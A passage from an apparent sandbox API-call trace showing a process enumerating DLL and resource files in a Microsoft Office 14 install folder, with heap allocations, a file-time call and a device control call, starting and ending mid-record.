ftLastWriteTime.dwLowDateTime=0x703f00, ftLastWriteTime.dwHighDateTime=0x1ca9139, nFileSizeHigh=0x0, nFileSizeLow=0x21180, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAMEEXT.DLL", cAlternateFileName="")) returned 1 [0089.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.005] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbf08900, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x221681b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcbf08900, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x41a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NPAUTHZ.DLL", cAlternateFileName="")) returned 1 [0089.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.007] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.007] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed67eb00, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x221681b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed67eb00, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x59e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NPSPWRAP.DLL", cAlternateFileName="")) returned 1 [0089.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.007] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.008] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.008] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.008] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8c44700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x597a6090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8c44700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x5988, dwReserved0=0x0, dwReserved1=0x0, cFileName="oisctrl.dll", cAlternateFileName="")) returned 1 [0089.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.008] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.009] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.009] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.009] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.009] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e19db00, ftCreationTime.dwHighDateTime=0x1cb701d, ftLastAccessTime.dwLowDateTime=0xade41600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e19db00, ftLastWriteTime.dwHighDateTime=0x1cb701d, nFileSizeHigh=0x0, nFileSizeLow=0x3e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLKFSTUB.DLL", cAlternateFileName="")) returned 1 [0089.009] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.010] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.010] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.011] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.011] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dee4000, ftCreationTime.dwHighDateTime=0x1cba068, ftLastAccessTime.dwLowDateTime=0xad14fe60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7dee4000, ftLastWriteTime.dwHighDateTime=0x1cba068, nFileSizeHigh=0x0, nFileSizeLow=0x9d590, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnIE.dll", cAlternateFileName="")) returned 1 [0089.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.011] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.012] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.012] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.012] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.012] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dee4000, ftCreationTime.dwHighDateTime=0x1cba068, ftLastAccessTime.dwLowDateTime=0xadeffce0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7dee4000, ftLastWriteTime.dwHighDateTime=0x1cba068, nFileSizeHigh=0x0, nFileSizeLow=0x79590, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONBttnIELinkedNotes.dll", cAlternateFileName="")) returned 1 [0089.012] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.013] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.013] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.013] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.013] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.014] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.014] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9322e700, ftCreationTime.dwHighDateTime=0x1cbae3c, ftLastAccessTime.dwLowDateTime=0xae1d3700, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9322e700, ftLastWriteTime.dwHighDateTime=0x1cbae3c, nFileSizeHigh=0x0, nFileSizeLow=0xe0db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteSyncPC.dll", cAlternateFileName="")) returned 1 [0089.014] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.014] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.014] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.014] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.015] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9b4fa00, ftCreationTime.dwHighDateTime=0x1cba057, ftLastAccessTime.dwLowDateTime=0xadf25e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa9b4fa00, ftLastWriteTime.dwHighDateTime=0x1cba057, nFileSizeHigh=0x0, nFileSizeLow=0xf9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONLNTCOMLIB.DLL", cAlternateFileName="")) returned 1 [0089.015] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed67eb00, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed67eb00, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x20d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWSSUPP.DLL", cAlternateFileName="")) returned 1 [0089.015] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba4fb00, ftCreationTime.dwHighDateTime=0x1cab7d7, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ba4fb00, ftLastWriteTime.dwHighDateTime=0x1cab7d7, nFileSizeHigh=0x0, nFileSizeLow=0x5ef90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPSLAX.DLL", cAlternateFileName="")) returned 1 [0089.015] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed67eb00, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x22226890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed67eb00, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x16f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSCOPY.DLL", cAlternateFileName="")) returned 1 [0089.015] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd45f3a00, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x22226890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd45f3a00, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x11780, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSUPLD.DLL", cAlternateFileName="")) returned 1 [0089.015] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79bf100, ftCreationTime.dwHighDateTime=0x1cb7123, ftLastAccessTime.dwLowDateTime=0xd688b020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa79bf100, ftLastWriteTime.dwHighDateTime=0x1cb7123, nFileSizeHigh=0x0, nFileSizeLow=0x22568, dwReserved0=0x0, dwReserved1=0x0, cFileName="UMLVB.DLL", cAlternateFileName="")) returned 1 [0089.015] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25477100, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x84ee8d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x25477100, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x22768, dwReserved0=0x0, dwReserved1=0x0, cFileName="UMLVC60.DLL", cAlternateFileName="")) returned 1 [0089.015] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79bf100, ftCreationTime.dwHighDateTime=0x1cb7123, ftLastAccessTime.dwLowDateTime=0xd68b1180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa79bf100, ftLastWriteTime.dwHighDateTime=0x1cb7123, nFileSizeHigh=0x0, nFileSizeLow=0x3c378, dwReserved0=0x0, dwReserved1=0x0, cFileName="UMLVS.DLL", cAlternateFileName="")) returned 1 [0089.015] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52af2500, ftCreationTime.dwHighDateTime=0x1cba057, ftLastAccessTime.dwLowDateTime=0xad423880, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52af2500, ftLastWriteTime.dwHighDateTime=0x1cba057, nFileSizeHigh=0x0, nFileSizeLow=0x89190, dwReserved0=0x0, dwReserved1=0x0, cFileName="URLREDIR.DLL", cAlternateFileName="")) returned 1 [0089.015] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25477100, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25477100, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x582978, dwReserved0=0x0, dwReserved1=0x0, cFileName="VVIEWDWG.DLL", cAlternateFileName="")) returned 1 [0089.015] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26789e00, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x5e54ee50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26789e00, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x3fc368, dwReserved0=0x0, dwReserved1=0x0, cFileName="VVIEWER.DLL", cAlternateFileName="")) returned 1 [0089.015] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26789e00, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x5e54ee50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26789e00, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x3fc368, dwReserved0=0x0, dwReserved1=0x0, cFileName="VVIEWER.DLL", cAlternateFileName="")) returned 0 [0089.016] GetLastError () returned 0x12 [0089.016] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9100 [0089.016] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0089.016] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd68b1180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd68b1180, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.016] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xba634e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba634e00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0089.016] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\1033"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xba634e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba634e00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.016] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0089.017] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0089.017] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0089.017] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.017] NtClose (Handle=0x168) returned 0x0 [0089.017] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eebd8 [0089.018] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0089.020] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xba634e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba634e00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.021] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x19ac4550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2778, dwReserved0=0x0, dwReserved1=0x0, cFileName="BHOINTL.DLL", cAlternateFileName="")) returned 1 [0089.021] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.021] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.021] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.021] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.021] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.022] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.022] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25477100, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x25477100, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="DL_RES.DLL", cAlternateFileName="")) returned 1 [0089.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.022] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.023] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.023] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.023] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeb59f00, ftCreationTime.dwHighDateTime=0x1cb7019, ftLastAccessTime.dwLowDateTime=0xba6a7220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfeb59f00, ftLastWriteTime.dwHighDateTime=0x1cb7019, nFileSizeHigh=0x0, nFileSizeLow=0x864b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveIntlResource.dll", cAlternateFileName="")) returned 1 [0089.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.024] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.024] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.025] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.025] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff6a5200, ftCreationTime.dwHighDateTime=0x1cac9b2, ftLastAccessTime.dwLowDateTime=0x19b36970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff6a5200, ftLastWriteTime.dwHighDateTime=0x1cac9b2, nFileSizeHigh=0x0, nFileSizeLow=0x907d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPISHELLR.DLL", cAlternateFileName="")) returned 1 [0089.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.025] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.026] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.026] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.026] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed67eb00, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed67eb00, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x19f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCLTINT.DLL", cAlternateFileName="")) returned 1 [0089.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.027] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.027] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.027] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.027] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.027] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.028] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc83bac00, ftCreationTime.dwHighDateTime=0x1c650be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc83bac00, ftLastWriteTime.dwHighDateTime=0x1c650be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWSHLP10.CHM", cAlternateFileName="")) returned 1 [0089.028] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.028] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.028] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.028] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eec60) returned 1 [0089.028] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.029] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0089.029] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.029] RtlAllocateHeap 